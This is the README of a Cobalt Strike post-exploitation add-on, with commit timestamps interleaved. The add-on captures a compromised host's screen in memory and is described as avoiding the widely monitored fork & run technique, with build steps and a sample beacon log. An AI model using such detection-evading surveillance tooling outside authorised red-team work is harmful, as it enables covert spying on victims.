2022-10-23 01:58:24 -07:00
# ScreenshotBOF
2022-10-25 09:35:38 -07:00
An alternative screenshot capability for Cobalt Strike that uses WinAPI and does not perform a fork & run. Screenshot downloaded in memory.
2022-10-23 01:58:24 -07:00
2022-10-23 02:38:51 -07:00
## Self Compilation
1. git clone the repo
2. open the solution in Visual Studio
3. Build project BOF
2022-10-23 01:58:24 -07:00
## Usage
1. import the screenshotBOF.cna script into Cobalt Strike
2022-10-25 09:35:38 -07:00
2. use the command screenshot_bof {local filename}
2022-10-23 01:58:24 -07:00
```
2022-10-25 09:35:38 -07:00
beacon> screenshot_bof sad.bmp
2022-10-23 02:06:37 -07:00
[*] Running screenshot BOF by (@codex_tf2)
2022-10-25 09:35:38 -07:00
[+] host called home, sent: 4860 bytes
2022-10-23 02:06:37 -07:00
[+] received output:
2022-10-25 09:35:38 -07:00
[*] Tasked beacon to printscreen and save to sad.bmp
2022-10-23 02:06:37 -07:00
[+] received output:
[+] PrintScreen saved to bitmap...
2022-10-25 09:35:38 -07:00
[*] started download of sad.bmp
2022-10-23 01:58:24 -07:00
```
## Notes
- no evasion is performed, which should be fine since the WinAPIs used are not malicious
## Why did I make this?
2022-10-23 02:04:09 -07:00
Cobalt Strike uses a technique known as fork & run for many of its post-ex capabilities, including the screenshot command. While this behaviour provides stability, it is now well known and heavily monitored for. This BOF is meant to provide a more OPSEC safe version of the screenshot capability.
## Credits
2022-10-23 11:39:54 -07:00
- Made using https://github.com/securifybv/Visual-Studio-BOF-template
2022-10-25 09:35:38 -07:00
- Save BMP to file from https://stackoverflow.com/a/60667564
- in memory download from https://github.com/anthemtotheego/CredBandit
